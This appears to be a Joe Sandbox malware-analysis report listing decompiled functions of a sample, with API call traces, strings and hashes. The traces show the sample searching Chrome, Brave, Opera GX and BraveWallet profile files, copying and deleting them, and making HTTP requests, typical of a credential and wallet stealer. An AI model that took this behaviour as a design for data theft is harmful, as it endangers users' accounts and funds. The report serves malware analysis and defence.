LoadLibraryA.KERNEL32(024BA248), ref: 0041793A
LoadLibraryA.KERNEL32(024BA1B8), ref: 0041794C
LoadLibraryA.KERNEL32(024BA278), ref: 0041795D
LoadLibraryA.KERNEL32(024BA320), ref: 0041796F
GetProcAddress.KERNEL32(75B30000,024BA338), ref: 0041798B
GetProcAddress.KERNEL32(751E0000,024BA380), ref: 004179A7
GetProcAddress.KERNEL32(751E0000,024BA350), ref: 004179BF
GetProcAddress.KERNEL32(76910000,024BA368), ref: 004179DB
GetProcAddress.KERNEL32(75670000,02499E88), ref: 004179F7
GetProcAddress.KERNEL32(77310000,02494AF0), ref: 00417A13
GetProcAddress.KERNEL32(77310000,02498B38), ref: 00417A2B

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: b04e20b63fdf4f387884290b9549695a90ee90dedd28098ad983ad3a78714f51
Instruction ID: 2148604ec22d5dc409469944cda03c78a345716d380cb9a295fa5105f019d802
Opcode Fuzzy Hash: b04e20b63fdf4f387884290b9549695a90ee90dedd28098ad983ad3a78714f51
Instruction Fuzzy Hash: 7CA162B5A116009FD714DFA5EE899263BFBF7C8701308751AEA06C3364E7B8A805CF95

Function 0040C2E0 Relevance: 48.0, APIs: 20, Strings: 7, Instructions: 767
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

Part of subcall function 0040F940: lstrcpyA.KERNEL32(00000000,?,00000000,004176BE), ref: 0040F981
Part of subcall function 0040F940: lstrcatA.KERNEL32(00000000), ref: 0040F98D

Part of subcall function 0040F9A0: lstrlenA.KERNEL32(?,?,?,?,?,00417633,?,02494B80,?,00423414,?,00000000,004201E9), ref: 0040F9B9
Part of subcall function 0040F9A0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F9E1
Part of subcall function 0040F9A0: lstrcatA.KERNEL32(?,?), ref: 0040F9EB

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

FindFirstFileA.KERNEL32(00000000,?,004201E9,004201E9,00000000,?,?,?,004234C0,004201E9,?,00000000,?), ref: 0040C35C
StrCmpCA.SHLWAPI(?,004201DC), ref: 0040C38C
StrCmpCA.SHLWAPI(?,004201D8), ref: 0040C3A6

Part of subcall function 0040F8A0: lstrlenA.KERNEL32(004176BE,?,00000000,?,00416587,004201E9,004201E9,?,00000000,?,?,004176BE), ref: 0040F8AB
Part of subcall function 0040F8A0: lstrcpyA.KERNEL32(00000000,004176BE), ref: 0040F8E2

StrCmpCA.SHLWAPI(00000000,Opera GX,00000000,?,?,?,004201E0,?,?,004201E9), ref: 0040C43F
StrCmpCA.SHLWAPI(00000000,Brave,00000000,?,004201E0,?,024BDEB8,?,004201E0,?,024BDF88,00000000,?,?,?,004201E0), ref: 0040C5D6
StrCmpCA.SHLWAPI(?,Preferences), ref: 0040C5F0
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040C6B4
DeleteFileA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,004201E9), ref: 0040C77B
StrCmpCA.SHLWAPI(?,024C0018), ref: 0040C7AF

Part of subcall function 0040F850: lstrcpyA.KERNEL32(00000000,?,?), ref: 0040F878

Part of subcall function 0040BF30: CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040BFD7
Part of subcall function 0040BF30: CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040C00B

Part of subcall function 0040C2E0: StrCmpCA.SHLWAPI(?,024BDF88), ref: 0040C813
Part of subcall function 0040C2E0: StrCmpCA.SHLWAPI(00000000,024BDEB8), ref: 0040C82D

FindNextFileA.KERNEL32(?,?), ref: 0040CD02
FindClose.KERNEL32(?), ref: 0040CD14

Strings

P2#v, xrefs: 0040CD02
Brave, xrefs: 0040C5C5
Opera GX, xrefs: 0040C42E
1#v, xrefs: 0040C35C
Preferences, xrefs: 0040C5E4
Google Chrome, xrefs: 0040CA6F
\BraveWallet\Preferences, xrefs: 0040C6CD

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$CopyFind$lstrcatlstrlen$CloseDeleteFirstNext
String ID: Brave$Google Chrome$Opera GX$P2#v$Preferences$\BraveWallet\Preferences$1#v
API String ID: 480569104-2648344026
Opcode ID: d54e80957a6020f62dbbd57423cf585a129ac020cc1d5263a21e63eec41c1cff
Instruction ID: cbba04a03a0008995a9987146006101dde6cfe135f2cf04865d7d56680781c26
Opcode Fuzzy Hash: d54e80957a6020f62dbbd57423cf585a129ac020cc1d5263a21e63eec41c1cff
Instruction Fuzzy Hash: 8B522D72910108ABCB24FB71DC56EEE7379AB54304F40857EF906B25D1EF386A4CCAA5

Function 00415EA0 Relevance: 38.7, APIs: 18, Strings: 4, Instructions: 227
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00415EBC
FindFirstFileA.KERNEL32(?,?), ref: 00415ED3
StrCmpCA.SHLWAPI(?,004201DC), ref: 00415EFC
StrCmpCA.SHLWAPI(?,004201D8), ref: 00415F16
wsprintfA.USER32 ref: 00415F3B
StrCmpCA.SHLWAPI(?,004201E9), ref: 00415F4A
wsprintfA.USER32 ref: 00415F67
wsprintfA.USER32 ref: 00415F86
PathMatchSpecA.SHLWAPI(?,?), ref: 00415F97
lstrcatA.KERNEL32(?,024BDE28,?,000003E8), ref: 00415FC3
lstrcatA.KERNEL32(?,004201E0), ref: 00415FD5
lstrcatA.KERNEL32(?,?), ref: 00415FE3
lstrcatA.KERNEL32(?,004201E0), ref: 00415FF5
lstrcatA.KERNEL32(?,?), ref: 00416009
CopyFileA.KERNEL32(?,00000000,00000001), ref: 004160AA
DeleteFileA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,004201E9), ref: 00416119

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

Part of subcall function 004142A0: Sleep.KERNEL32(000003E8,?,=OA,?,?,00000000), ref: 00414345
Part of subcall function 004142A0: CreateThread.KERNEL32(00000000,00000000,004130F0,?,00000000,00000000), ref: 0041438D
Part of subcall function 004142A0: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00414399

FindNextFileA.KERNEL32(?,?), ref: 00416160
FindClose.KERNEL32(?), ref: 00416172

Strings

P2#v, xrefs: 00416160
%s\%s, xrefs: 00415F35, 00415F80
1#v, xrefs: 00415ED3
%s\*, xrefs: 00415EB6

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$CloseCopyCreateDeleteFirstMatchNextObjectPathSingleSleepSpecThreadWaitlstrcpy
String ID: %s\%s$%s\*$P2#v$1#v
API String ID: 103870964-4226942003
Opcode ID: 9e048d45f73ee719123de12204c9c8afbe9f9eb3d22bf01c7cf5d9ec0ca7991a
Instruction ID: 4f3ba6799c96e4c8b2fdef7625ad27d3c1a7b3744a2bb23c5cf2dc8a64d10888
Opcode Fuzzy Hash: 9e048d45f73ee719123de12204c9c8afbe9f9eb3d22bf01c7cf5d9ec0ca7991a
Instruction Fuzzy Hash: AA818472A10218ABCB24FBB1DC45DEE777DBF44304F44557AF506A2091EF38AA48CBA5

Function 6C7E35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294stringtimeCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C86F688,00001000), ref: 6C7E35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C7E35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C7E35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C7E363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C7E369F
__aulldiv.LIBCMT ref: 6C7E36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C7E3773
EnterCriticalSection.KERNEL32(6C86F688), ref: 6C7E377E
LeaveCriticalSection.KERNEL32(6C86F688), ref: 6C7E37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C7E37C4
EnterCriticalSection.KERNEL32(6C86F688), ref: 6C7E37CB
LeaveCriticalSection.KERNEL32(6C86F688), ref: 6C7E3801
__aulldiv.LIBCMT ref: 6C7E3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C7E3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C7E3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C7E394C

Strings

GTC, xrefs: 6C7E3912
AuthcAMDenti, xrefs: 6C7E3946
QPC, xrefs: 6C7E38FC
GenuntelineI, xrefs: 6C7E3639
MOZ_TIMESTAMP_MODE, xrefs: 6C7E35DB

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 27efc3f85cef73880acdff012ad86509ed7393ff0d7da53e9fcad81e76c8310d
Instruction ID: 29b9048f860921b9e1e5498745f9a76b4de0ed395621d04e75a67b99ef05eb0c
Opcode Fuzzy Hash: 27efc3f85cef73880acdff012ad86509ed7393ff0d7da53e9fcad81e76c8310d
Instruction Fuzzy Hash: 3DB19172B082109BDB28DF2AC94472A7BF6BB99708F04993EE499D7760D770D800CBD1

Function 00401110 Relevance: 26.9, APIs: 12, Strings: 3, Instructions: 658fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004201E0,?,00401CE9,?,004201E0,?,?,00000000,?,00000000), ref: 004012D9
StrCmpCA.SHLWAPI(?,004201DC), ref: 004012FC
StrCmpCA.SHLWAPI(?,004201D8), ref: 00401316
FindFirstFileA.KERNEL32(00000000,?,?,?,?,004201E0,?,00401CE9,?,004201E0,?,?,?,004201E0,?,?), ref: 0040140D

Part of subcall function 00410D50: SHGetFolderPathA.SHELL32(00000000,004201E9,00000000,00000000,?,00000000,?), ref: 00410D81

Part of subcall function 0040F940: lstrcpyA.KERNEL32(00000000,?,00000000,004176BE), ref: 0040F981
Part of subcall function 0040F940: lstrcatA.KERNEL32(00000000), ref: 0040F98D

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

DeleteFileA.KERNEL32(00000000), ref: 00401668
FindNextFileA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 004016A4
FindClose.KERNEL32(00000000,?,?,?,?,?,?,?,?), ref: 004016B3
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 004015F6

Part of subcall function 0040F850: lstrcpyA.KERNEL32(00000000,?,?), ref: 0040F878

Part of subcall function 00406C20: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,0040BA32,?,00000000,?,00000000,00000000), ref: 00406C3F
Part of subcall function 00406C20: GetFileSizeEx.KERNEL32(00000000,?,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406C55
Part of subcall function 00406C20: LocalAlloc.KERNEL32(00000040,?,?,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406C70
Part of subcall function 00406C20: ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406C89
Part of subcall function 00406C20: CloseHandle.KERNEL32(00000000,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406CB1

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 004018F5

Part of subcall function 00406C20: LocalFree.KERNEL32(?,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406CA9

DeleteFileA.KERNEL32(00000000), ref: 00401967
FindNextFileA.KERNEL32(00000000,?), ref: 004019A8
FindClose.KERNEL32(00000000), ref: 004019B7

Part of subcall function 004142A0: Sleep.KERNEL32(000003E8,?,=OA,?,?,00000000), ref: 00414345
Part of subcall function 004142A0: CreateThread.KERNEL32(00000000,00000000,004130F0,?,00000000,00000000), ref: 0041438D
Part of subcall function 004142A0: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00414399

Part of subcall function 0040F9A0: lstrlenA.KERNEL32(?,?,?,?,?,00417633,?,02494B80,?,00423414,?,00000000,004201E9), ref: 0040F9B9
Part of subcall function 0040F9A0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F9E1
Part of subcall function 0040F9A0: lstrcatA.KERNEL32(?,?), ref: 0040F9EB

Part of subcall function 00410D10: GetFileAttributesA.KERNEL32(00000000,?,?,0040B844,?,00000000,?,00000000,004201E9,004201E9), ref: 00410D1D

Part of subcall function 00410B80: GetSystemTime.KERNEL32(004201E9,02498710,004201E9,?,00000030,004201E9,004201E9,?,00000000,?,?,004176BE), ref: 00410BA9

Strings

P2#v, xrefs: 004016A4, 004019A8
1#v, xrefs: 004012D9, 0040140D
\*.*, xrefs: 004011EB

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: File$Find$lstrcpy$Close$CopyCreateDeleteFirstLocalNextlstrcat$AllocAttributesFolderFreeHandleObjectPathReadSingleSizeSleepSystemThreadTimeWaitlstrlen
String ID: P2#v$\*.*$1#v
API String ID: 2220404975-2075649900
Opcode ID: ca7db47ae5db0ea22dccf8272dfad65738555c46fb6d45b6b8a0ba9a8753955d
Instruction ID: 1d754b9f1f181e8b004311f1424a94fcc02efae78f4dcff2990e7204b081244d
Opcode Fuzzy Hash: ca7db47ae5db0ea22dccf8272dfad65738555c46fb6d45b6b8a0ba9a8753955d
Instruction Fuzzy Hash: FF3202729101186ADB28FBA1DC52EEE7378AF54304F54817EB506764D2EF386B4CCB68

Function 004156C0 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 137stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004156DF
FindFirstFileA.KERNEL32(?,?), ref: 004156F6
StrCmpCA.SHLWAPI(?,004201DC), ref: 0041571C
StrCmpCA.SHLWAPI(?,004201D8), ref: 00415736
lstrcatA.KERNEL32(?,024BDE28,?,00000104,?,00000104), ref: 00415774
lstrcatA.KERNEL32(?,024BDDF8), ref: 00415788
lstrcatA.KERNEL32(?,?), ref: 0041579C
lstrcatA.KERNEL32(?,?), ref: 004157AA
lstrcatA.KERNEL32(?,004201E0), ref: 004157BC
lstrcatA.KERNEL32(?,?), ref: 004157D0

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

Part of subcall function 00406C20: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,0040BA32,?,00000000,?,00000000,00000000), ref: 00406C3F
Part of subcall function 00406C20: GetFileSizeEx.KERNEL32(00000000,?,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406C55
Part of subcall function 00406C20: LocalAlloc.KERNEL32(00000040,?,?,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406C70
Part of subcall function 00406C20: ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406C89
Part of subcall function 00406C20: CloseHandle.KERNEL32(00000000,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406CB1

Part of subcall function 004142A0: Sleep.KERNEL32(000003E8,?,=OA,?,?,00000000), ref: 00414345
Part of subcall function 004142A0: CreateThread.KERNEL32(00000000,00000000,004130F0,?,00000000,00000000), ref: 0041438D
Part of subcall function 004142A0: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00414399

FindNextFileA.KERNEL32(00000000,?), ref: 00415863
FindClose.KERNEL32(00000000), ref: 00415872

Strings

P2#v, xrefs: 00415863
%s\%s, xrefs: 004156D9
1#v, xrefs: 004156F6

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Find$CloseCreate$AllocFirstHandleLocalNextObjectReadSingleSizeSleepThreadWaitlstrcpywsprintf
String ID: %s\%s$P2#v$1#v
API String ID: 1833283839-1025293131
Opcode ID: cb21aecd257db17ec8928b97916afc29899c390d1a043b29ba95e6ba4d43e130
Instruction ID: 0b78cd701ac643c87a03d62035dd32dfabddf56532c9e59c0612692b5200a2eb
Opcode Fuzzy Hash: cb21aecd257db17ec8928b97916afc29899c390d1a043b29ba95e6ba4d43e130
Instruction Fuzzy Hash: 9B41BAB2510218ABCB14FBB0DC85DEE337DAF84304F4485ADF605A2091EB749B88CFA5

Function 0041BD50 Relevance: 25.1, APIs: 12, Strings: 2, Instructions: 634COMMON

Download Yara Rule

Strings

/, xrefs: 0041BDEC
UT, xrefs: 0041C032

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: /$UT
API String ID: 0-1626504983
Opcode ID: c6544f2b6c759e982b9a7aa44f85cd5b1f8c1a12b863c531b04020bfac0f063a
Instruction ID: fc7b41ddac4b8287914dd5b35c20cb5f85a9e29a538cbd7399227cbcd4b87930
Opcode Fuzzy Hash: c6544f2b6c759e982b9a7aa44f85cd5b1f8c1a12b863c531b04020bfac0f063a
Instruction Fuzzy Hash: 30420571A003598BCB25CF69DC807EEBBB5FF89304F1480AEE84897341D7389A95CB94

Function 00405010 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 174networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0040F850: lstrcpyA.KERNEL32(00000000,?,?), ref: 0040F878

Part of subcall function 00403D70: ??_U@YAPAXI@Z.MSVCRT ref: 00403DA2
Part of subcall function 00403D70: ??_U@YAPAXI@Z.MSVCRT ref: 00403DAF
Part of subcall function 00403D70: ??_U@YAPAXI@Z.MSVCRT ref: 00403DBC
Part of subcall function 00403D70: lstrlenA.KERNEL32(00000000,00000000,0000003C,00000000,?,00000030), ref: 00403DD6
Part of subcall function 00403D70: InternetCrackUrlA.WININET(00000000,00000000), ref: 00403DE6

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405062
StrCmpCA.SHLWAPI(?,024BDE18,?,?,?,?,?,?,?), ref: 0040507A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004050A2
HttpOpenRequestA.WININET(00000000,GET,?,024BFBE0,00000000,00000000,-00400100,00000000), ref: 004050DC
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405100
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040510F
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 0040512E
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00405177
InternetReadFile.WININET(00000000,00000000,000007CF,?), ref: 004051C5
InternetCloseHandle.WININET(00000000), ref: 004051D0
InternetCloseHandle.WININET(?), ref: 004051DA
InternetCloseHandle.WININET(00000000), ref: 004051E4

Strings

ERROR, xrefs: 0040513B
GET, xrefs: 004050D6

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$FileOpenReadRequestlstrcpy$ConnectCrackInfoOptionQuerySendlstrlen
String ID: ERROR$GET
API String ID: 1863336362-3591763792
Opcode ID: 309dd610708473b97c58760f4a521b0d3c6200544722ad7f5fb3e7345648b7c0
Instruction ID: 1ac627e5dad41aa046ddd859517fa52cc070feb9a932d89590bb6b8620beea7d
Opcode Fuzzy Hash: 309dd610708473b97c58760f4a521b0d3c6200544722ad7f5fb3e7345648b7c0
Instruction Fuzzy Hash: 1F515472A406186BEB20EB64DC46FEF7779EF44700F104139F605BB2D1DB786A058BA9

